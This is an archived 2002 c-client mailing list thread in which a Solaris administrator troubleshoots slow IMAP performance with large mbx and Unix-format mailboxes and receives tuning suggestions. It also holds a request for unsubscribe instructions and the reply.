(8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4LSPpB029338; Mon, 4 Nov 2002 13:28:26 -0800 Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA4LPdn2017954 for ; Mon, 4 Nov 2002 13:25:39 -0800 Received: FROM mxu2.u.washington.edu BY mailscan5.cac.washington.edu ; Mon Nov 04 13:25:38 2002 -0800 Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA4LPcqk022058 for ; Mon, 4 Nov 2002 13:25:38 -0800 Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-green.research.att.com (Postfix) with ESMTP id DF8FA1E010 for ; Mon, 4 Nov 2002 16:25:33 -0500 (EST) Received: from research.att.com (cobrao2.research.att.com [135.207.23.130]) by bigmail.research.att.com (8.11.6+Sun/8.11.6) with ESMTP id gA4LOE324954 for ; Mon, 4 Nov 2002 16:24:14 -0500 (EST) Message-Id: <3DC6E65B.32854DFA@research.att.com> Date: Mon, 04 Nov 2002 16:27:55 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Hooper To: c-client@u.washington.edu Subject: slow performace MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: hooper@research.att.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I just moved to a new server and am seeing very slow preformace, and I cant figure out why. I'm using mbx and I bumped up the inetd sessions, DNS looks fine and I dont think it uses IDENT. the old server was solaris 2.6 running IMAP4rev1 2000.277 the new one is 2.8 running IMAP4rev1 2002.328 the new server was working great untill I moved a large number of users over now its slow as a dog. any help would be appriciated -- Robert Hooper Systems Administrator, AT&T Labs Research (973) 360-8737 C035 Systems and Networking Resources Partner hooper@research.att.com Send Help requests to: akhelp@research.att.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Nov 4 18:17:08 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 4 Nov 2002 18:17:08 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA52H86W024061 for ; Mon, 4 Nov 2002 18:17:08 -0800 Received: FROM mx1.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 04 18:17:07 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA52H66r032413 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 4 Nov 2002 18:17:06 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA52GJxQ028208; Mon, 4 Nov 2002 18:16:19 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA52DUn2045578 for ; Mon, 4 Nov 2002 18:13:30 -0800 Received: FROM mxu1.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Nov 04 18:13:28 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA52DSA9012116 for ; Mon, 4 Nov 2002 18:13:28 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id SAA01256; Mon, 4 Nov 2002 18:13:23 -0800 (PST) Message-Id: Date: Mon, 4 Nov 2002 18:11:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Robert Hooper Cc: c-client@u.washington.edu Subject: re: slow performace In-Reply-To: <3DC6E65B.32854DFA@research.att.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Unfortunately, your message doesn't give enough information to go on. How is the server slow? Slow to connect? Slow to authenticate? Slow to open the mailbox? How much observed disk activity is there? Is the disk thrashing? What is the load average? How much swapping? All these are things to look at. I can't give you many more specifics, and I am totally unfamiliar with Solaris so there may be other things to look at that I'm not aware of. From pinedev@shivax2.cac.washington.edu Tue Nov 5 06:15:27 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Nov 2002 06:15:27 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA5EFQ6W008662 for ; Tue, 5 Nov 2002 06:15:27 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Tue Nov 05 06:15:25 2002 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA5EFPng025756 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 5 Nov 2002 06:15:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA5EEPpB010666; Tue, 5 Nov 2002 06:14:25 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA5EB3n2035504 for ; Tue, 5 Nov 2002 06:11:03 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 05 06:11:03 2002 -0800 Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA5EB3qk022569 for ; Tue, 5 Nov 2002 06:11:03 -0800 Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-green.research.att.com (Postfix) with ESMTP id 5AE5F1E0A2; Tue, 5 Nov 2002 09:10:59 -0500 (EST) Received: from research.att.com (cobrao2.research.att.com [135.207.23.130]) by bigmail.research.att.com (8.11.6+Sun/8.11.6) with ESMTP id gA5E9dx07336; Tue, 5 Nov 2002 09:09:39 -0500 (EST) Message-Id: <3DC7D204.1369F065@research.att.com> Date: Tue, 05 Nov 2002 09:13:24 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Hooper To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: slow performace References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: hooper@research.att.com X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN sorry for being triss in my previous message but I was in panic mode;) Access to large folders is where we first see problems, an open can take a long time as can an append, as when saving a copy to Sent. Some users see timeout errors. This problem seems to get worse over time. from a systems perspective things look fine, memory is only about 50% used 1 of 2 Gigs no swaping, disk use is high 100% busy but rarely any waits, and I can cat and ls files from the system easily. CPU load is nonexistant. about 150-250 imapd processes The system seems to work well right after a reboot but gets gradually worse over time. Right now I'm thinking the problem is either the T3 RAID array with veritas filesystem, or the Gigabit interface, but the old system was using slower SCSI2 disks and 100baseT so it should be faster. I would be interested in hearing from anyone with experiance tuning a Solaris system for IMAP. Mark Crispin wrote: > > Unfortunately, your message doesn't give enough information to go on. > > How is the server slow? Slow to connect? Slow to authenticate? Slow to open > the mailbox? > > How much observed disk activity is there? Is the disk thrashing? What is the > load average? How much swapping? > > All these are things to look at. I can't give you many more specifics, and I > am totally unfamiliar with Solaris so there may be other things to look at > that I'm not aware of. -- Robert Hooper Systems Administrator, AT&T Labs Research (973) 360-8737 C035 Systems and Networking Resources Partner hooper@research.att.com Send Help requests to: akhelp@research.att.com From pinedev@shivax2.cac.washington.edu Tue Nov 5 06:42:47 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 5 Nov 2002 06:42:47 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.08) with SMTP id gA5Egl6W009257 for ; Tue, 5 Nov 2002 06:42:47 -0800 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Tue Nov 05 06:42:45 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA5Egjng026261 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 5 Nov 2002 06:42:45 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA5Efe6i091132; Tue, 5 Nov 2002 06:41:40 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with SMTP id gA5EdJn2035954 for ; Tue, 5 Nov 2002 06:39:19 -0800 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Tue Nov 05 06:39:19 2002 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA5EdDql029660 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Tue, 5 Nov 2002 06:39:19 -0800 Received: from mail1.rrz.Uni-Koeln.DE (mail1.rrz.Uni-Koeln.DE [134.95.100.208]) (authenticated as user a0620 bits=0) by mail1.rrz.Uni-Koeln.DE (8.12.6/8.12.6) with ESMTP id gA5EdB9T009792 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Tue, 5 Nov 2002 15:39:11 +0100 (MET) Message-Id: <212360000.1036507148@mail1.rrz.Uni-Koeln.DE> Date: Tue, 05 Nov 2002 15:39:08 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Robert Hooper Cc: c-client@u.washington.edu Subject: Re: slow performace In-Reply-To: <3DC7D204.1369F065@research.att.com> References: <3DC7D204.1369F065@research.att.com> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="==========216762226==========" X-Virus-Scanned: by amavisd-milter (http://amavis.org/) X-Spam-Report: IN_REP_TO,PGP_SIGNATURE_2,PGP_SIGNATURE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --==========216762226========== Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline --On Tuesday, November 05, 2002 09:13:24 -0500 Robert Hooper=20 wrote: > Right now I'm thinking the problem is either the T3 RAID array with > veritas filesystem, or the Gigabit interface, but the old system was = using > slower SCSI2 disks and 100baseT so it should be faster. > I would be interested in hearing from anyone with experiance tuning > a Solaris system for IMAP. Make sure that you have ufs logging activated. The last column in=20 /etc/vfstab should have logging as a mount option. If you don't do that,=20 Sun's ufs I/O performance is abysmal. Greetings, Sebastian -- Sebastian Hagedorn Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ Being just contaminates the void - Robyn Hitchcock --==========216762226========== Content-Type: application/pgp-signature Content-Transfer-Encoding: 7bit -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (SunOS) iD8DBQE9x9gNGXsGmU0QW0URAr8DAKDfb9Jdv7qxeXRPe2ePAJBM4ITQXwCg6jSQ izoZ2Nj7bRnYcgODY/MpjPU= =uUnn -----END PGP SIGNATURE----- --==========216762226==========-- From pinedev@shivax2.cac.washington.edu Wed Nov 6 19:59:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Nov 2002 19:59:56 -0800 (PST) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA73xtV0018968 for ; Wed, 6 Nov 2002 19:59:55 -0800 Received: FROM mx1.cac.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 06 19:59:54 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA73xs6r015329 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 6 Nov 2002 19:59:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA73w1NO041450; Wed, 6 Nov 2002 19:58:01 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA73rsdr034730 for ; Wed, 6 Nov 2002 19:53:54 -0800 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Wed Nov 06 19:53:53 2002 -0800 Received: from mail-green.research.att.com (mail-green.research.att.com [135.207.30.103]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA73rrqk000680 for ; Wed, 6 Nov 2002 19:53:53 -0800 Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101]) by mail-green.research.att.com (Postfix) with ESMTP id DC9CA1E26C; Wed, 6 Nov 2002 22:53:52 -0500 (EST) Received: from research.att.com ([135.207.35.155]) by bigmail.research.att.com (8.11.6+Sun/8.11.6) with ESMTP id gA73qO116220; Wed, 6 Nov 2002 22:52:24 -0500 (EST) Message-Id: <3DC9E3C5.8020408@research.att.com> Date: Wed, 06 Nov 2002 22:53:41 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Robert Hooper To: paul killey Cc: c-client@u.washington.edu Subject: Re: slow performace References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN we don't have many pop users but we do have VERY large folders, and I've notced many of them where not converted to mbx format ;( One user'shad a file that just toped 2 Gigs and was in Unix format !! I'm tring to put together a csplit regular expression to break it up before converting to mbx as no mail programs can work with it any more. Anyway the preformace died again, It seems to happen every 48 hours when the imapd processes get to 250 I was able to run "pkill inetd; pkill imapd " a couple times to kill all imapd's then restart imapd and everything was fine. I'm also geting console error messages whenever tmail tries to write to new file, the second message always works and the first one is eventually delievered from que but the errors are annoying. I'm tempted to go back to the very old imapd 2000 which I know worked, but then I'll never figure out whats wrong. paul killey wrote: > re: slow performance ... what is killing us is frequent access by pop > clients checking to see if they have new e-mail (and they tend to > leave e-mail on the server). the imap side of things seems pretty > reasonable. > > one option we are considering is to place pop users on their own > server and letting them choke each other off. i am sure we'll see > some educational effort to try and get people to move to imap clients. > > we are using solaris ... i'll make sure i have it right and send you > (robert) what our ('our' is college of engineering here) config is. > the campus-wide imap servers run solaris as well, but have 50M quotas > so i don't think they see the large folders. we have 250M quotas. > > --paul > From pinedev@shivax2.cac.washington.edu Wed Nov 6 21:21:46 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Nov 2002 21:21:46 -0800 (PST) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA75LjV0020689 for ; Wed, 6 Nov 2002 21:21:45 -0800 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Wed Nov 06 21:21:44 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA75Lhng026436 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 6 Nov 2002 21:21:44 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA75JoNO014868; Wed, 6 Nov 2002 21:19:50 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA75H4dr033540 for ; Wed, 6 Nov 2002 21:17:04 -0800 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 06 21:17:03 2002 -0800 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA75H2ux027691 for ; Wed, 6 Nov 2002 21:17:03 -0800 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id VAA04634; Wed, 6 Nov 2002 21:16:46 -0800 (PST) Message-Id: Date: Wed, 6 Nov 2002 21:15:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Robert Hooper Cc: paul killey , c-client@u.washington.edu Subject: Re: slow performace In-Reply-To: <3DC9E3C5.8020408@research.att.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Well, we run many more than 250 imapd processes on our IMAP servers. If you are running a SVR4 type system, are you observing any zombie processes? From pinedev@shivax2.cac.washington.edu Wed Nov 6 22:17:06 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Nov 2002 22:17:06 -0800 (PST) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA76H5V0021770 for ; Wed, 6 Nov 2002 22:17:05 -0800 Received: FROM mx1.cac.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 06 22:17:04 2002 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA76H36r017970 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 6 Nov 2002 22:17:04 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA76FmpT031360; Wed, 6 Nov 2002 22:15:48 -0800 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA766sdr027572 for ; Wed, 6 Nov 2002 22:06:54 -0800 Received: FROM mxu2.u.washington.edu BY mailscan6.cac.washington.edu ; Wed Nov 06 22:06:54 2002 -0800 Received: from shardagate.mahindrabt.com (shardagate.mahindrabt.com [203.124.158.2]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA766pqk028071 for ; Wed, 6 Nov 2002 22:06:53 -0800 Received: from thisdomain (mailscan.sharda.mahindrabt.com [10.5.0.97]) by shardagate.mahindrabt.com (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id LAA12414 for ; Thu, 7 Nov 2002 11:36:42 +0530 Received: from intranet.sharda.mahindrabt.com by mahindrabt.com ; Thu, 07 Nov 2002 11:27:55 +0530 Received: from dscp00186 ([10.5.12.169]) by intranet.sharda.mahindrabt.com (8.9.3/8.9.3) with SMTP id LAA14552 for ; Thu, 7 Nov 2002 11:36:35 +0530 Message-Id: <002901c28623$53dec180$a90c050a@mahindrabt.com> Date: Thu, 7 Nov 2002 11:33:00 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "nitin" To: Subject: HOw do i unsubscribe from this group MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0026_01C28651.6D8DD5C0" X-Originating-IP: 10.5.0.15 X-Auth-User: chandola@mahindrabt.com X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0026_01C28651.6D8DD5C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ********************************************************* Disclaimer This message (including any attachments) contains=20 confidential information intended for a specific=20 individual and purpose, and is protected by law.=20 If you are not the intended recipient, you should=20 delete this message and are hereby notified that=20 any disclosure, copying, or distribution of this message, or the taking of any action based on it,=20 is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com ------=_NextPart_000_0026_01C28651.6D8DD5C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
     

    *********************************************************
    Disclaimer

    This message (including any attachments) contains
    confidential information intended for a specific
    individual and purpose, and is protected by law.
    If you are not the intended recipient, you should
    delete this message and are hereby notified that
    any disclosure, copying, or distribution of this
    message, or the taking of any action based on it,
    is strictly prohibited.

    *********************************************************
    Visit us at http://www.mahindrabt.com

    ------=_NextPart_000_0026_01C28651.6D8DD5C0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 6 23:06:56 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 6 Nov 2002 23:06:56 -0800 (PST) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA776uV0023132 for ; Wed, 6 Nov 2002 23:06:56 -0800 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Wed Nov 06 23:06:54 2002 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA776sng028466 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 6 Nov 2002 23:06:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA774JNO032616; Wed, 6 Nov 2002 23:04:19 -0800 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA771edr019528 for ; Wed, 6 Nov 2002 23:01:40 -0800 Received: FROM mxu3.u.washington.edu BY mailscan2.cac.washington.edu ; Wed Nov 06 23:01:39 2002 -0800 Received: from theargonserver.w-o-i.com ([202.88.133.70]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA771aux017797 for ; Wed, 6 Nov 2002 23:01:38 -0800 Received: from curious ([192.168.0.115]) by theargonserver.w-o-i.com (8.9.3/8.9.3) with SMTP id MAA13359; Thu, 7 Nov 2002 12:36:02 +0530 Message-Id: <004a01c28627$74a1c300$7300a8c0@woi.com> Date: Thu, 7 Nov 2002 12:02:33 +0530 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Archana Chavan" To: "nitin" , Subject: Re: HOw do i unsubscribe from this group References: <002901c28623$53dec180$a90c050a@mahindrabt.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0047_01C28655.8E30CC20" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Logged: Logged by theargonserver.w-o-i.com as MAA13359 at Thu Nov 7 12:36:02 2002 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0047_01C28655.8E30CC20 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi there!! To signoff from the list, email to listproc@u.washington.edu with the = following request: signoff C-CLIENT or unsubscribe C-CLIENT NOTE: Only subscribers can send messages to this list. =20 Regards, Archana. ----- Original Message -----=20 From: nitin=20 To: c-client@u.washington.edu=20 Sent: Thursday, November 07, 2002 11:33 AM Subject: HOw do i unsubscribe from this group ********************************************************* Disclaimer This message (including any attachments) contains=20 confidential information intended for a specific=20 individual and purpose, and is protected by law.=20 If you are not the intended recipient, you should=20 delete this message and are hereby notified that=20 any disclosure, copying, or distribution of this message, or the taking of any action based on it,=20 is strictly prohibited. ********************************************************* Visit us at http://www.mahindrabt.com ------=_NextPart_000_0047_01C28655.8E30CC20 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hi there!!
     
    To signoff from the list, email to listproc@u.washington.edu = with the=20 following request:

    signoff C-CLIENT
    or
    unsubscribe=20 C-CLIENT


    NOTE:  Only subscribers can send messages to = this=20 list. 
     
    Regards,
    Archana.
    ----- Original Message -----
    From:=20 nitin
    Sent: Thursday, November 07, = 2002 11:33=20 AM
    Subject: HOw do i unsubscribe = from this=20 group

    =
     

    ****************************************************= *****
    Disclaimer

    This=20 message (including any attachments) contains
    confidential = information=20 intended for a specific
    individual and purpose, and is protected = by law.=20
    If you are not the intended recipient, you should
    delete this = message=20 and are hereby notified that
    any disclosure, copying, or = distribution of=20 this
    message, or the taking of any action based on it,
    is = strictly=20 = prohibited.

    ******************************************************= ***
    Visit=20 us at http://www.mahindrabt.com

    ------=_NextPart_000_0047_01C28655.8E30CC20-- From pinedev@shivax2.cac.washington.edu Fri Nov 8 09:44:32 2002 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Nov 2002 09:44:32 -0800 (PST) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8HiWV0021623 for ; Fri, 8 Nov 2002 09:44:32 -0800 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Fri Nov 08 09:44:31 2002 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with ESMTP id gA8HiUng015423 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 8 Nov 2002 09:44:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8Hcl1f083872; Fri, 8 Nov 2002 09:38:47 -0800 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.10) with SMTP id gA8HX3dr028786 for ; Fri, 8 Nov 2002 09:33:04 -0800 Received: FROM mxu7.u.washington.edu BY mailscan1.cac.washington.edu ; Fri Nov 08 09:33:02 2002 -0800 Received: from samera.com (mail.samera.com.py [200.85.40.10]) by mxu7.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.09) with ESMTP id gA8HWtHr010995 for ; Fri, 8 Nov 2002 09:32:59 -0800 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by samera.com (8.11.6/8.11.6) with ESMTP id gA8HWkB21421 for ; Fri, 8 Nov 2002 14:32:47 -0300 Message-Id: <3DCBF53D.7090901@samera.com.py> Date: Fri, 08 Nov 2002 14:32:45 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: Parsing MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit 